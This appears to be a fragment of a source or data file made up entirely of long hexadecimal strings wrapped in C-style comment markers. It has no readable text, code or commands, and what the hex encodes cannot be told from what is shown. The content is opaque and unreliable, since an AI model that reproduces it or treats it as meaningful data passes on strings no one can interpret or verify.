18f7a6d1d8142145b98d0190949f57f29ec915f4a8e49a79fc291261564f5faebd5cf536839a98f4968f54c8f078d5391fcf7a42b2c76074bc44588bef7386cb78733875c516cc8e2624a9b18e07373d0373c30064979d29f78d9c2e65479c0db02a14e63d970997c818fa18b96962fad3fe8160f7768ddd6e66e655c02cc6124fe6ff7d11aa3642d63762bb547bb5f944dda63806e178c2f6c52072d17316321ed131243855acd64fc72f4fb24c4b0045c79b79a2bd50ce8c5b29aad8832d89e6a9c3b77752400bd2b68ee5fe1d39f17220ed4ccfcdde243ec2ea20f7faf78d6afd97e0f3b5a1c1840a233a419a4c6fae037a4528d6812b18c0c3e7fd38a841cdeac985cd32cfb36cac32b4fc91026aca126662742cd657f0f309ba153d5649feac8a6d74620b63c064e4c3b262a54365b87638214b15d58b23f558488c9b2028fd33409a8afd77f094c550ba95fca2691edccebb34b16d6ca87ee61f2dc7549b312d317400e8e1289b75bc5a82aa46e74c3785bb7ef4bc0d151cfc8edb3b94dbbe6859728f4265fb18a03dc6f61429c35722fad0a30e9234c02690265899b9e7d27303802f32f486d6064276dea068f4060e3310b3a6ddc067b5eb7f0553525d44be87641f0ee35c8c630abb2bcbd235e14957d889616faae95b8163e4cc603e36966b54b39a14fbf97af76b0c3dad95d4a8c3098aa2682eee6fc6ddb71bb7a231dbfe63e8143952b038a12207aaafcf201fe70cd9b85edff2d5d9b1ff55c74d3e67af68d8dd1ceb5d2550c851a4e6e6490e414663db39658890953c5f9712ecf12c2516d200a4c26c01900127e44c0d62f0b1e28bca779bb402d29a23dc5f9c67cbb56473944fd049d1ddf6dd5224de8ed9005025b9ffdfd15a4d84a0f85b4ca56598ff3195ce7542c38da37d87702005b2873c857661525c9711f1ac8e7350203d78bec66453870407818e36c9ebe92b71f4e960a6aa10657e4a36c8bf2af3062178f3c015784d5f069ca02865bb1bbbcd250edf98b87686d8957f3458d14b4ace8f71e69385dcfc295c25ad0e268d85376864283027e9b954bae03b5afae91d33294a1032e3872e4ba4be4143f66c6eef92455d07e6efabbd7350709632b385a7ad03e28101a9c63eec83b6a2dfa6b430780a3b287c21e3868cc98ce41f2918889c68fafa970cd8a972937680449fe1c4fb20bacb320e008d09d5e9df9a3fca3ddc774ce3ad84c899b9e483223febb608cbc91beeaa9921d05c854efc19b9c28e99828686df17a41d7ec82e33ef4dfa072aa428f0c0e3162d5044bc158a0be3a089cde1865630302140487322a40bee6960bf87ada36ac2689cbe65ed139bd76ed03e4294d9747902fc1f1a819485197fab651529965ef7981f012c438533ba7c3e53b8369689b574e23e12488a8504ebbc0971f0cfefce6ddbb0137eb41419c6515507e8ab51aaa289b26daa8a000952041cc9df445a8241cb7db347321a3eaf43c2d6e32d3773b4e8fe93125065faba649e302de26de9c038659520b3dd8c18e3c05107f10ba784e433705141ef839e27fad2691ee25526e0ca811f4b3cb4f2124a16cfa12dd6abc9d30c58576007e20b6f7ee2281fe3cbb3c86bcab9389ec3e2382fe68caace24d7e31b36a24e77ba9a5b8056e247a3e6c45da43c8c87fe56a06e65315d786f73e7d0f88da04060a40bde39a1da0d523b15f6e72aebc5a95ef741b5e9f59cfe9160af9515dd92cc28033b87e718afe2c9b7f527f60d838e1ecd5b929c88a0ea35c00edeb7246b017c0cbbe2b849cf8086d005b51d412d8235e06859501e2e0b576b1e98bcd89ccc86be2b60ca7e6ba67ed414556e862a3e4851653eaf483a49cb707d900281ad1e70bee4ac808360c94aa21130ee68a65acb532732b439bb767f240fa4e3a4fc9ecdf6b0695fa5aa6524554ba1aee737994a8a83cca10b0c0654ecc3f055e325c156467fc6e9ce125560aeaa5d6072815ae86c619f39d1eb44daea7fce6927757e2144643a1df1f4357760a1ebaf75c0c6870a9c34ab2335*/
/*7a9b23ed3dcc581817c06dd75e9233eda20529a2f8a5e956fdc5ec2af4da4e8d5f4eac8496f0fe2d82d52154c74bbe6ec04d152730828864af0f8bcb72e4f4aca6100bbfe5c39ea6a132d4a35bada9621cc6b131a5c656df0bcc448330c303d2fa50c0f13011d2879a05d6cc9bda42175a06667cff8892ba69a0dc4c218b31f0cdec477d69420abae1fd91ad741f7815cf589baa9bfe35f4d49f9cbc0a76a4d8ae0644ec4b565985e6acac2447a88307516be0d73d99e9e1a0b71f91a06811e6ebabae989759896936342e2c5a0d837e735ee3a8ff1e3c1fa9c59a92bd2f810599d9f884a72c4fe7c77c8ba76f0993d01dc5a7e08e07f4daf7d886518bc771ef457e2988cf74da4d13d3fbae57a0514aa2759c11724dd1a60436c7c6afee5f628d54210abbc9f36ce0dcb22694388dc01950b187801092fecb57757d24223bbabb9a79693d35b767efe6ebabf81610f7bf7079cc497bf168a128a8c928b4051964c2637c8963d34805f15dc521b1fbe5ff21291c70f0aafdc066dd67f3426302e7e15ef05e181498d595b54cab12372be00b6dba0ad259f9b68e41818c32d5414853a77bce85d26f5fee4362d127c7c3015eeffb743eb46e924f6cef71b684269a53f30fa6847fd9fd2163c75619e190cfce90e5414a5c63f7d9ea41115cabb64051c94bf065c57e10a0010f69a4f2e82d8867a79d86ac38abd7031297830fff3c624b5a9879b21d0aeb732cb32dfc99e9749b51f06f1491c09e842ea5cf4a2af06b3a5c3bf11b575369b925bfec76f1d88f99f775d8ea2ac8bb2b535625defc7a80bdd73d929beb88225617aaafa19e79b22ff1147d9ae2bcee14e6306dafebe6f2d49364df40262fdde443186bf657da7e6c2759168b8280b16f3d2bb2d6bf457eed8defa73425c7610efff3ec2c4516e7038296b5fd5403908446ff247c835dae8e8194ea0eea8f638b154da9b53022fffa781a6002feee762f5a4db2eb83e2f8e1c3d284064428e74665cb1011a4fee0bba590a087b64e1fbc7409b452305fd021bfaae6803869b5293111fde34f4356f19924da0cdde73fec26d81a66991f45d62bda69267e90b39c1c58bfeaeb10cbd0a8597aefa93e8adfeb0ddbf5601f1398fa66caa44214fecb5d46439dcd9738b31d4704dc012cdfb68a79aed0509604a323d43625c6e9083553737f450a271208cf1461cece3c8c38ac24e0fc6a736bbaf86b26da637994700cb303d6c20038634806f88812b66e95651d6bc0537ed8a15faab9b134d4a91081e501db9bbed5f56fc761b41631b40b1f52491dfa3868821e3a5018e656c7f5edcabb0d830f7e7d48c19435c1ddffdd90e1b6fdd72f15477b3c80413c18f661d3acfb105932971877c38cf5e45d0e46ba1da6abf28c1e4a84fa7a07fe4ac09208aeb6f02bf55f3a9640f1d3b9ea42dfa82f660a8726343ab5170bda22f148bd96405ab9c29ae56073e62d8b683b213fffec159b67d40ac0c31201b6bcd83e7968cff5cfa397fc2bba1db5bfbdf6ec07c527d66f7537acc0aebc4528a4ed12599dca29ba67bb98e03c01105d1588b42782bda0e38632ff8455fe87781b3e69ca3d81cb09331a14319c9c1475df1bf645df82c12bfe5132b68f97d1abd8946e18f8748b709b98f4dbcfe314fd6ded9e128a6f4ad39c9c9ad2d4b2592e8f247dccddebe32d16ad1c165090f0ca6fe9ae8f98483bdfc1dd3fa525877ed7e6ca9649e19d413eedd90c96ca25467a61819fc23b577e07b15561598d83e16946fe0ebc61e8d9eaa088a07dd0e68fcc555c4a17f048130a2a0f06607a92cea326542383530f56b9a74cdb689c86c4806d5daf93999ec85cd14394dabd1416317e28b4df694380b0ff01614d79a8934579ae3b4d5aa4546d4f27c5133b145b28e51209faf0726d1fe8ef57753c0fc1ca288664dc0c842fd213ea84fcf0c49db394bdbc268fcb0aa69d2299de428e0b6a448aa10830452f4d96a7c89c6f540cc46c80d7fa080437faffd73e9a398ed0f33352b42bcd78c2e3f8bb96b58a6223f2a06da4bfc29088b0c576088a172c5fee622e19fc812c2591f949187380a0938a31185b81e319bc60627a9460a11bc5069ab8840aa94e1c14b7b9c815078e0710d5e7de7ba0c706a11e18ab84ac5675d9a18dbcc36b4ce7bba9f83769bc6d957e1bdbd932fd865832ab0a207d6441b9698b825881c4faa2aa4832b720a3fb2c5c7ca924ee6a423fd3e63a6be1a81dc11a870bc718ee75066835c06f7226a9991b13513bcdbe6edd47a4a57c4d45f196815dd0e97837f66685892c04d60b110d7c348c6b8ab757331cd0fe2b450ee5b00fc72d17faaf2f6c94cbf85486176cc08087fea4e6ad47d734cd0717654dfd05925c8b2c7b686d8763d0a3848d8d6c53e8eb28fd707096a5cff7fbac5b3060348aaa800c51e24a5804c6afe51830c4fb16b0d73400fe68c8e7f27a4046b01769b2f8f77776e61639b9142accf4972dff0208a7482636451302f8deba80ab10fe55e57d3ac69c3aa8d2500c15a80f7c67a0fe3170ffebfcffbc43a8d54d9aee5bfdd67dde2f85da1e1bb2a5a07385c1d945e95a77ffcbfb6090c068be597a56e2850beddb90007229b61d4fd41a32f412535e9886a5c928be6eaba9ac4f13fb1d51304fecd64c83611f9c0c276de28ff793526a8fcd3cfe7bd4cb9e510830ebb7aa8c77a4053937777115bfb29ed5a8b55f5ce837ce1a98cb5727f2929bd44c506df6344d50048019f93d4dee81d8435f75c184839fc6dc644dd83a5af0d22d51b5223d8c50819ab19068005239d524b9d96e578d26616653a627*/
/*27c094550d81cd0aab95f60cd9efebf5e6857651f4f1baecc7f65f2b9003f226d80eade2431ac85ea03ecd5126edcb01c1419e6ca1e97261a873ff17841c1999c9e66d82cfa38ce484b210cc5cd059b6413dea6829b65a733b5b88493d6544f023389ca4fb313931eea62f0a1abea294bd96d3e2c0976e50ac55f571282a104619efae181022568b8b1e8ca7dfc40d476c24bca38a3ae574ce5ba5f6a7e5f88dac2aa7ce3fb6dc789eef37cbb607df3797b08722a56f97170608267b7f0baa9d44cf62994e1732779ffd7538529bfd71642416a19ca60a9dee37d9a88dfd6029c37222ee22f385079eb10343a35974af492b64499459645d5277ef9601488972a382fd85c476c0e9c485d832626eb17b83ad3e99dfd6bb51f0ca61f88f7102045be82eb87ea58bd794057fffee751c73b9f4461cf72326c78dd5ac6248862c28cdcb93c8f0dec8986e11f491b9b490011c14ca6a93814b8ca9e0cfdc78a5aee7ea98dbb41621fb26b9444eecac6cf8d4005f7c5e5cb00b3aaa27520222b249d7000f8c13bb9615a3643db6881d977a4531d67429aad8f9f5b4566015b6e6fa6e694be6cc50c7736d355510dd120fdea7d0c6ad8489ec0ebf5b4fcabfc6bb58e07cee8d66ea6c7313d0a3dfa55b159a6180a37f5549bab3d961c3a018e1913e6b61af03c48c34ce9d1662f002bc19d989d95d51cc0ae7697c9332de7a662f406ca3e1f24c36916a3b80fb2a65823db305ebaf3e08e99c6ebbfb2ee8cdfed89ce03f736a4150bc0b6e404ac853554dbb42b07166ab001d59e600f41c576f8ac95802d46971d4e23bf99603953cc209dca7284d880d18760a0716a17c4951f4bae2cc7c2924fbdc74c535ffa6c89655dec8adf69c01aaa932689b894bf1efd36b11c67390660d3e4edcfca55aa4409f85dd9e79ab08f649f406e7c49f89a3e73d805103361a64675b41f5a0cf44f8705fc1339abfda852d7eb5ce3e618b1da7c6aef62e2308d823a459768a189a79f975e9019f057f8ae4927c0b96a57b44070fb9e664ccc1ec8d378a38eba0e4b76befc0e520824ad6632c32e4516d05fd46e9f39dd4a7dc3e120f6a5f3d0b5b87ae782144424bb0e17b5a8261a027426f8e10579d42eb4bfb079d4716613e65a2cdf08c043256244e6b2b896a567a75fe84ee76fb8e0ad87d8dea26526bb9fd6d894b2603743f1b13bd1b711a8211829c9236fc7117bc16a05f82427c012ba3f91474cfa6a9ead9f53c57ec2743af71cbb55e387111d50d3b85849745c9ea96ae13e638b303d05ed8d797ec6564bb2844a3d0bc1560c57dc2e2464d131cb5381d82650f3e1d3cc4baaf1bad1008d8152996a37b93a6af476d78013f59c43b35e4ad1156ca5b72ec721296a9df6480e56ff848377ea2e718760456d22ae95ddc5b5aac7f6731a12a4e7d9e155da01fc622a58be751bc40ff8ca9fc47a705c83d1336d13853176744643909bcfbe98982af8dd361f3838b50690e78420233cc75e774b75d36ae9bfb0213ab2d9809316b987f27b772e448667a342de62a02bfc7edd8f711b8aca758b842197ec16c9705b1945fc9cb4660375d4c5b5ce5ffb69823b4f4bd6d87d6c62c5ef8640346fd2c1304c730bcec97b2e1a50eef1cec049f029c2fc8146014fb41d53dd0657ed62645f4706db5afd3add2cd97361c4352f87988bc6002dbe310df7a6b81157b06f2f60b2d45bd946966578d1eabf03f58c0382d1a8e06256cd0839e654a939ff04e81a74c40c7ef15a6f8f93f7f56cae8320130a39a5f2e85638fdac18549611c96b377b0c1cb1f3bfa0423a83d017708ffbae2b3542184e1cfbae12871acf70b570e1dc16bf6b8d94aba096e67427bf31f896308259b47273ee6e8fdcd5d3c77c7449d2d6c8276040aa984e4c263b82ad288b3871f8007035738c5f2955a0f954b4a81e090c920b0b42ded1b35799c83da8a28490451098a849fea03527bcc7008c82cc47368c685e3e3f884e6b6463e163da431b175d725f034c79a64800591600dfe5f534b65b002f88415e8bfd2436e686918d2c98d419fb4072cb4438e5842142fa7d17e421a2ceae0124dba7279f68fd806619e91b3f49e2152d1d48fe8bfbe97971c782f1193b6b82efb7e18fb36465c1d8ad029a412a859616a76898d2599d0fa27d37e5ef4d6923836eb6416ed82bb51bf84d9bea218510df84e09c5e3c681ee85d99d380e369e7d729c8b08a43dc57816af82cbeb96ad9ba9ed5accf41f2799808bed49a4b3e25f32ab758d1a3246ec2fc6cf3e1bd3eb00d717d742b75369eba4c7b41977689337d7f58d050cc3cc5bcc6fe7150b6c55560ea980cb6765a01351d13ed2c30c9174b06b6996bbe8ff04b2506c875398f0fc35a4541a31a11b4bc5db0372139751f44a19c65f0cd2fc54a4de4a33bef2903a751ec91c6c45fe8a7154418c7934a1cdb18cbb4dcb4347b414d5dedcb614c56eb424ce3538255606aa5fc986b721071655124988d917e9356f4b252298f4289aaab90b30f8412a345eb4f9c5024d0479f9fefe8a31181aa5cf8926774c8807a20ad475486c8d9e41e85f767fab12e1492b4811a86bb9f34eb777ec03ec688c01281de07c4a9ed79ccbcf37c18564e7e1f16b33a0b7902e96b64416c1a9e087992d64a92267fca920ab5fd468f5b2740d6291a8c8430bff379c13a9daa07c0f9a23b327089d6ea6416ee4c424cff3c6b4219d0325455cb46634f5e255b87e9631edcdb34b6dcfb1d48c9dd888ed1d9ad60a30ab4f17329bcf54447615709acd908af77a966a28103e413ea21f454cf20648040578a07c029569*/
/*f8fce5036fe9974eed5af4a2101cab99f4d002f9541bfd6e52127d53cf7b6fe8d993f91eb72e83f838c605b59fbcce35e471f98188c8e28fec875c0adc9af82ff463dbfefdb84bf333cea8d2dfe03fe3b4df591efe02566d14fde454fcf1b103de7b7550d912cfa64addc1defeb674b3ceea611174dd35a131ba5dee152010ed92b4da2d2c6f97c1d5335067bec50da2829816c2049645c62f6f954b9a84f8b53c434df16c3a7e199f9ca746e81b14f67fb12b90b8b9125cd619c79fcb25e9504ee3a929c4e8d42fbe16e025fee51128969c560d05d209400726b9a4770281d38abeb52fcf6722d68ee0ac64cd95d9ce10461198511626fd5cdde1de1bd593447c0d1fc9b4faf518fed30d797236207b271b768f79c9d6a407852140ab8181c4f5c14d682e9ae2210bec74115e817b4b958afe21754ce5ebf946c8784d164258a22dabbb516d43175d01d0f9868aeecbef47c096c411599cb0bb2bc670c7d104b2b9b4187aedecf58dd3f5703b469184b36aa6f033856f5107ed6547d146d5862a28a38638e4878a59a3de90c1e87c9000e3a9692314f96f6378187a199c4d834b020af2de2833a19c23ead391bb302ac9fb2a3255f54af089eb5c6788a827ae3e1a35516311b888a0b06bea0973fd9a80bd9e0fe3bb60d0eab5374602906b95d86b971f531ccac957283ec1c33a17323a05e285c0049c1051b889542ba8d2f81c8a26f49e4f0c758eac3cc1920d9b7da4c39fa2821ac837b24359dabc74ff14af4482b8e95c36d3ab662a4bc3ba14fe94d1da86aad6087233242cfeef93fcec3c99399e525195ecf741296fcc0611cc9bd0ae2d6649e00ea6c1ccb3eeefb62209d313534838c18988200c5c282118c96ab63fb5068449723c3fa43fd4e74be170774be0a66b39ec7d4ec1415230b3ac5e481782faeda719a40f9973e124307120bb497937c6534f67d6654fb1d30a885b1c5540d890c06537a4839a1eeebd312605eae6d879c4e6580ecc63c3b8cdff0eab9c8b8bf6effdba8061979588a67bbd35c67ab3682ac0a6e3c0f6551931a41f9eb9d71a865054837f05fea7c146b4d0eee7bf67a9b912e2f5ca3b143501cb8f16bbc06b427aa70fd4033658d520a5093589e32361a888dfe89c6b30bbab03b51de8cd9dfce8620ef4ba0aab0c5670b608cb01fee10814e2b7703e3bbdd0197fa1270b32aeb0ab46b31416b556b02586aad01f4823e28aa64bb85591b53040f17b787d95b55e52b880e6296a67c61b2963b6f1ad9da5ea281ed961b309d314d39c17b92fdabfb3430ad069afc53601686ed9bffafafaacb207d2368d4fa59343380ddda724dae8b9272f44e1b181c5c51e24c6bcb353990f7ebc91bb08cd952527401ba4802d9890b007ee9ca53893e6e5faa68e40f673ab1e77ac62891442afe57de1d7497d91d6f440f3769a883c325589041ad589b34eaaeea4cfafc79659d31b442b3d1cce74c04fd7afe3d6748f9d09e9057bc99e48eea73363979bcd0aba7d9bbff8cd0406d6262a8ddf0e28897fa4654140d3b75700a4bdf59842e8d01ccd065ce195e7179d98311c41516b3df37e5fad693d89c86dcc629c3f500a2cf84d627a21eb416ff1cde32d841cfdd0d34299a8c26fb7f91bdb0157a888a442510336a02557a66a282d4a30df98eee8357a58af616839d6fa4a99f042635096893c2403868bd8d85e55fb8ba4fb7312ace526c4368dfa57e0a84e6f45e3fbc1770fdc423b86f43f6e2d4930895fab51c8ef5600ebd0bfe3037b82c65fd563256354e931a70b94c7c8bbc8ff4c70566c66df25682a5145100be0daff25bc2706eaebacba1713a5115f3aafb2c12c97b335d5a8621c08a800b17c777601aab68663dc326046ca042b09710eef40ec115be6dc4859f6f74ab3202feb7f3570d64b09c5ddeb0c2bfd808dc6de4d93d9bc32f33a3e08db078283e69362a81c6a323450b52e1a99f0900f72fc9a5f0dd6b3880f3a903e41419d1306061d23560a06d7922971721f531acfb40132adfaafddb3d7ebf344cee7142e1c5ff3cd04cf3374cc93308630c7ce32fd2f0cd2cda7338354677902bfd0a7a3a0783d9f60c345e24a8c2daf2766837716cf72eb4177c451206e02bd91cd02cdf726e30f363ae49b9734d0ef4bb5221f4a03ef49376ba41d613cfe843482ee1b9463230f6b6cd57b0f136c088bde7eab49fe2d58761a76717803491bbd0e8f3170a8f1d3501d1d6e8962c6f274386787255fbf9f0512cdc5275306c599a208ac643a2619f2667c5eb0ed8afcc5c5aca917e9c4e351a0aa42c4f58fec4d5ab872e2f4b0309b1fc00d374082e723ef7812d046ce452e5e6f9dba9018a74a4c41dc4ad729eea7a26b06970da3526b3581831087b604e1119cb4eebd4c212e1eae4e278dc55f5a997eb91727ac0e92f4af0ce39568a69722392ed59a4d9d3669a9f81aac94be8bc90916db55829c98027e918f5356bfd1dda49a192ef52b78ae98bd34e0d83fba1174e715b032dccc1711a4181fc9def93f9ee035fa947a3e5f8d192d09cade7684d915440e22e62c265ca910f00d89019efa271eabab0f42f5848bf5072a19c39a9639ebf652ef2e1d88cf19b26637145d2ecd357c71c930935fe6126c317caaedfa4194ca4ff05bf16633f645b261f4fe792141315b15b6f6b03ab136313c521e69f28186a0a765df8a4df3433bb2aeb9f9afdf26025e4de99d03850fed9600b0b80d7957d1772cc73f9e8f53aa1b17296bb162225032b56a8ff8c91190116b160eca6ecedd60e5fc842b9c7f7480e8c8d05f7b95b1d2aadb7cef175b2e3eeea0f9*/
/*5a8c2882650365f7c2dc5725d5dbcaa94602eb96c4b8907f54aeb3a83302e943ab00c2e586d58cfa0112d3bb3540f8b3fff076d8f2a9d74faa2633b68f0d4ef93a6b77a0bf38fe624cab6058a36df05a74d06f0aeb8cc3abd06dda90c0eaef6193690dfdfb5b6124a11a3eedf6c842a4a3bbacdd6ed717ee24ba5408cc8ff1a08f55ab2b9994acb7887358f345f0317a4a36774005809d99e37f3e64d3b1c896c1a8a84b83519bea8a4629eba6eff2e62e08fe2e2be77fbf6e216562c6db5dbb90bf1838435b73174d50f6b980ef20c245ff452553f3bbce7ed9eff4dc89f5ce079ab6af6ae12d5949a6eea616a0cc154563c2fbbd978313962ef57d5507b5744f8ce215199e47f61f1249ccadd49310c320130eaeeb25a039139163508d7a7d55bdb6b8c7afe39c23d7ee51702bb1b4302c2c22fdfc9eef78b6e75ec8c7a28f398059b4f38575b1b3aa48a653eb9e66bfe3aa21e1f4b44da7fa903c3e2c9657e91db0ce462d559debf378439a80860f8e7ae443daa8c3e66448d0cb54237658172c16845b4cf31166502678074c2c57ec1ab4b8423247e25fe1fb0d7e5aa28faa471d9a61893c0184c46828d5e394817fde46dda34c7bd4ff5c230c93a4643bd109bbefcba2183948af9b7c7a2ff1fe49add6b3253c21dc07e2b3273d8d7dee641740259de98c567100dac57477abb3eef2cc73c9cf82504696dc9d81f16e9c894d703ac81e5151dd6703ee7c2e7d52b238ef8d370391ea3fc16264c596a77a80ea410a0496a64eeeb672b5764dd41a2b871dbf83445de25002b26548680e4d2773e8d42313decdc0b633c16430a385879604581043e9a22f0a6310888d308cdbc3f7b1c8b2838ebfa5d46c3531f302eba57451903aa1fbe209c28552a71f3aa5a7b34e5c9451e24924094ec5cb033e19b4165406c3df29210f63e40c7c0227821ece332930ae45da72035c93b47693c46ed239c0c6904e5df27eef6db0fe2431aed49bbf7e459dbd349c2a03bcd562166c14044a9aef0b36e657f2bbb3f00d8527cf0ecf525af5a12930fce723fa4f8e57e63b88394f254f9da07f43f83fb9895289230059eaaeae683b7d4d853a9a483e9d573203d28f2c078980cec5c72073e94ee9d6b0d02eb9f0463a7ae191860f3cdd1fbcbb5f4acbd7908209b07e75bcc8fc823a962c67ad392cab6a621791a5c87433d094f1850ddefd4e064ebd37c3632f5d2c0eab1ee70841fe827d4e504bfa4e5753e6e1a771856a4a64759d979c77c55877e7d2885aa5cfcdb898a1eb9bd08a7ef297b7d1e367b644655599be98e6472c081ee72f7304e2f541aa6f2e745427d7be3d793fe019d8ef125c986d0ae9e5af73ce7cef5e1681683a470f869b48d27eb7495229df3831eb2402b955f1f5ab6edecf0d9b445f7233ac978d6549731ed3a7a749751b0818af4edbc4d4f2c5c31d3339d0170c8eb8fb48c0233c811e7eb3af9d0b30f09d46f05103f3b7a2f6e2044fa114bae91f9fd0f2e009a7ca16426dfb818aa9ddea02db453ed24fa10c852035e44d010efd26cb119e67691d76ff42fa6226ec1c7ab8dafbf9b8f771721f4827afa39be21af513d09fd84889e59fa6a326b1764bb792850cdd07f881c6b75a154e9eb088d5503d831a5d4b61bd95f5e58aebe0a7cd80aae2b74e7f99f831b251711c4625fdde49960fe2347edff62fcf842ad7295e213e299839cf4229fe145eba36b7ab68c3080a43ffd850ff1195f67ea2ac735c9c91762d313e13ae0fe7f6db965bd24d12a5877eeb57e58f83f748f5980c955611c6d171b2243bc3f9b69a1e122b7c7a2b979f3ec658e5b6a17265ba74296e53918b89614322a99ddec4e2294db0d3dadbef1b8feb06755815ff30da3daceb4ea52e1106b326dfa6c3bd464ebb5d012c28fe76ab99152d90eb1e06c4a22aab8f05dd5ebebab17c7c9c7f7ad452aa1b9b432145b6593d9006e4fdc6279e588aa918f1f652189fed105693a7a4b1c0a3ca07749914e1f55acb967f95e83d773e2560932c18d720b2698a6eb8e85c92b5be9c61468ebbda645fce589c6d0f69d740e88018c19cbf529b92971e82ffe5e55c4a61e6d73fdc8f0ba77fbdc2190b58413131e9c209e0a49deea466f01e152bf7521fb0da92ef8700165bff6f71bd3362ea62ba044be2208fe4a1420be012a794f590d5c32995ba4568f1ccd984e8a47fae98659d7d297d437c2ce71ab0a5743df405c69cbd383d215206f07849e91573de5148f11365bd04464d2242d1b6159e28b498eaa1abe9935df791f2be1b89f75a443e12fdf372029cf374e6f68eb0df9c3ac6ac377b2505e60e31209a1cb09490d0be108bc1704de1a34d6d05e88017995792ffd5a5c7c87c04f5b47489d64619149eabba85d70be998bb41dfee90cc8ee6871e7d14b6efb465f745d6d58abc23e6b02f17ca8230adf626df4dc6372fba56edcaa176b61c2ea8617c061c43df1c0ccc620ee738cf045ae6fe037c97821c06075afb6e31c897b579465bc71f5919a4e250378d7b18ccb7f54e93494faab873cbb90576e79e3eaf870247cc4548050a0064ca3d31478c7c458eaa2293ba68df585f73ebeea028d0dddd7c868b29850d986876f1de461e859b0191b777a6ad6a164258f3eb14af833435275b8040cbc7cc05d44f9a443da5eefd64329dd483edbc8daacce2def450c058314f49b01eaa1e33093e7f227a8c894768f3681de0571b1e6dceff6b362500ab73ad14130d3fdc0b27f7f56e6fa2a2e0cdd5ea547b88a4a6e49ee188c00c3dbc5bfb8c6db2b373025d7a034d93ec1f739890101dbea05a2c7a7b*/
/*bfa21a3832936ca24369eff611047329903fb9cd299cbef7fdfb31278cbcc21e2b210e01f568e7588662bfbce2fda140196655d0f6503af9780b9d82d05c7d7d5902702c3af50a813e6bc46f4b2208fdd1e00a52c77e8e2b4c2020881f0564264b28aaf03bc742222e6fd4d3fca4a627c98e921962b32113a3c61124a31bc2af2cdbda607b09c42af86e66c6ce13715945c33b52272cbf13f789ee1b64ba3afba6902ab6cb4e380eb572d6a2108fc6d5fc950a3b87d16fe66e3932089126a37d49b471a9c54c08d9f16b798a0020c3a749401441d51442a808af40c284e2dc712d1a26d55411adc9163c40711f8f01cd22c7b69af7fc1a54b2d99bfd10765ffe870199912c81907262d6a194e88ca300fa373d27f06df0d670c02f71930abbb2e282a77d65089c90063767408f880deedb791ab2a9f5e022d346f5806cb2ba6b1459b2671312c1b461a584ac51e20b0f674bd670021bb8646ff33935b89500351fd6a7a53af577399f180424931b79644cedb71d455fdd9504b0fe8c50a1808fab302fc31683eb7590da9fd58acdc45e7434eb85b73c383387ee29c1cb8d927f78a98a8d43162131c15b04a9ab72fc6ac3422b57b06c20a8c623ab32e91c1e5ab37e56c25e5ae8156536820b1d4d916a728585f0618390a40fd4f1e871b6d14528684d978482cc3f1e334c0ee97e246fc7ed5883db06e86de6babd1040593b1a59cec8929d89c2418ccc9dfba5bb426150de2d06a2f0e5f7fa4156c8eb4aca0a53616e7c994291c285f7a8bb167d4115d2f2c1b44a6f87b00b661a97264b0c91afd892d8b0a96247dde55400c5e8d13e0584c49740739e9fd5983708790a2ed1bd284494b556fce771a9c18861cdc9b3be2e374b650d6fe338d67fff64b6f5169ab5c619be4b4a1db9c718c38730eb62018682179f279b4b19d7b4dd879d1c685c515908c26c8fa5c8bfd30ae126a8eef723256adacee61e7016c2ea33f1624e9c3f0805bec21b8c855681f7348737bd4ba8b912c15c912c190c0da18c8ef877fc2e7528ea60056cb54bb0bcf2b0c4702d3ec061a9d4e34d917cb48bdbc0322b52c5a5487006e4b198e2589fce191bf183a69d761fd11c7643276fa217d6bb5e7cecd384c4ff717b289785d50009efe960c84a08a8eb72b9f214315bb886e9dbc7e91a8188962d0e88e28012b85be9ad6deb3f070dc7c4ac379ecd846d58ecfe70f400dbbb169bb6d10d3ab5ad9cd1872a095dca8c3fd57c825d9e7d896bf565c676be16e82010533a42804c9aff69c431f305d60b62de8a885a69c7916f21d583e4a429edc64fa10f909a6f3bd04e7ea9893087403eaef4cd0fb327f6d590d177537641eb3a1415f75033854c8afa773410f81e2390a30df6cee2ee4b3b85daa329b02a2c6696702b3c508b4b38ba1a4d1c646380d120e85cc24825b834f02b7b987ebe3ad3a4f308e16f292e12941be5182b9ed3e253fbd9b30d439b2477e9aaabae82e7702f76858c75a82863b345e97e01d7efb999aa9b519a549e7bc0927ee0a3600009de5ebc7d8711ebae9705b5f78f97433c4ff812e790e5d12a107adf1d39398e7d5d28a68c61ac31567e0f8c5c2296dfcce818c91898e37111109db1ab35ea246bfcbdc065a3d6f85de08a443f0c100c2fa47d918a5badc12451758d50f82bad199128dca97e2f2a0cc947b9c54dd4df909724bf43c90efa7474d3f82d8f1e0095b6be4758d9d051fc49d294e004a05655442938e384724a416f1ca33fc7d910895e61cf143d1da49b1713d0e3c51511c08f39c62397a0c57b64a05d2f27edc5951796b73f16dd9dca7a3b3db2ddcd3f90230bba4fb24e737232156a3895df66236571cfe7db8c0e40d27799dd32c51f8691c256f0a4f4a1db79e8cc1d945449ef21419945b47636983af0a159bf6305245fcc35a91c47138f447b69db37605f1fdfa6ebd7a9ad36ccad38b24fdd8111bf4aa91457901773b7f51940686ff26ae0a8d805fdf95547716887c67b992b61d9dcf6a42fa7646fc2ade5c9c9b75a1e47eb7b8d3deec221eab831ea2075e61442dff25ddfe415ae7f1ad62830d5af3c66910a34a5c85bffe8620ece41ac11cadb1c6ea58dd3d6a0a1d234ee6b8b247e494e4b1bac616bafefe6144dc9d608a7b62a453c3e962baf9297db6db557e8cc30795d8818be596df9bd20f9e439a7e93000818bb8b5cfc35f43ae5b4e1d385cde4931da8f53c26d9edc7eaf1b0ac17009a5b5f560d3c2e2279f66a52a71cfb37a2c0eab8f673460e49eac5c24adf680e72f427be2a861c8b076bc3f40d375ae79f45b91e48421c3160cd297ecd418dd137397d589fcc23500a29e8b50f98f43f10d298eff041b76abae250406dac65df28c2acbf37103a968ecaf1bcb1ad68a1210540f3e07b93bbf5c575063351f0843bf97398231fe831389cac5d52188a9be89a9f6b706a824f2d88e7c19caf7a7f2af0208e53588910cf74022ac97020110ac42a3ea11584fe9cac2b954b8b8b7fcbc562002c985884f34a5ab9d64b7ba49392628d35537b9e8df84fcf5a41362858983ab21691185dc76bc74a66a77961f6ebe81ad10c24933a06c8769e3915a496dd2662fb7ccad55c96814170accd13dd939f213ff79c789ba1e5d7af4cd71abbb2fbef9b379307b89de127105d845128ed840533457d7a13b6a99236f9b4eb4071bf56458be3be5afb13a1508174e0b95e35eabeae342e4a889f21ceb22830d6e5005eac881e56b10e708c371e7b33ec9661b729a81fa4290fc0ada4c1be4b9313cdcd05a03a57c045bf13b4449f97b88ebc7f0016bc67d7139*/
